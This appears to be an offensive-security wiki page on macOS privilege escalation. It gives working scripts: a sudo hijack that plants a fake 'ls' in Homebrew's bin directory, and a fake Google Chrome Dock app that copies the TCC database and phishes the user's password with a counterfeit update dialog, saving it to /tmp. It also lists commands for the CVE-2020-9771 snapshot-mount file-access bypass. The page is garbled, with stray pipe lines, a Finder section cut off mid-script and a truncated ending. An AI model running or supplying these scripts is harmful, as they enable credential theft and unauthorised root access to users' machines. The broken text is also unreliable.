## TCC Privilege Escalation
|
|
|
|
If you came here looking for TCC privilege escalation go to:
|
|
|
|
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
|
[macos-tcc](macos-security-protections/macos-tcc/)
|
|
{% endcontent-ref %}
|
|
|
|
## Linux Privesc
|
|
|
|
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
|
|
|
|
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
|
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
|
{% endcontent-ref %}
|
|
|
|
## User Interaction
|
|
|
|
### Sudo Hijacking
|
|
|
|
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
|
|
|
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
|
|
|
|
```bash
|
|
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
|
cat > /opt/homebrew/bin/ls <<EOF
|
|
#!/bin/bash
|
|
if [ "\$(id -u)" -eq 0 ]; then
|
|
whoami > /tmp/privesc
|
|
fi
|
|
/bin/ls "\$@"
|
|
EOF
|
|
chmod +x /opt/homebrew/bin/ls
|
|
|
|
# victim
|
|
sudo ls
|
|
```
|
|
|
|
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
|
|
|
|
### Dock Impersonation
|
|
|
|
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
|
|
|
|
|
|
|
|
{% tabs %}
|
|
{% tab title="Chrome Impersonation" %}
|
|
Some suggestions:
|
|
|
|
* Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. 
|
|
|
|
```bash
|
|
#!/bin/sh
|
|
|
|
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
|
|
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
|
|
|
|
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
|
|
|
|
# Create App structure
|
|
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
|
|
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
|
|
|
|
# Payload to execute
|
|
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
int main() {
|
|
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
|
|
"sleep 2; "
|
|
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
|
|
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
|
|
"echo \$PASSWORD > /tmp/passwd.txt";
|
|
system(cmd);
|
|
return 0;
|
|
}
|
|

killall Dock

```
|
|
{% endtab %}
|
|
|
|
{% tab title="Finder Impersonation" %}
|
|
Some suggestions:
|
|
|
|
* You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
|
|
* Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.

|

#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)

## TCC - Root Privilege Escalation
|
|
|
|
### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation
|
|
|
|
**Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\
|
|
The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Create snapshot
|
|
tmutil localsnapshot
|
|
|
|
# List snapshots
|
|
tmutil listlocalsnapshots /
|
|
Snapshots for disk /:
|
|
com.apple.TimeMachine.2023-05-29-001751.local
|
|
|
|
# Generate folder to mount it
|
|
cd /tmp # I didn it from this folder
|
|
mkdir /tmp/snap
|
|
|
|
# Mount it, "noowners" will mount the folder so the current user can access everything
|
|
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
|
|
|
|
# Access it
|
|
ls /tmp/snap/Users/admin_user # This will work
|
|
```
|
|
{% endcode %}
|
|
|
|

## Sensitive Information

|
|
|
This can be useful to escalate privileges:
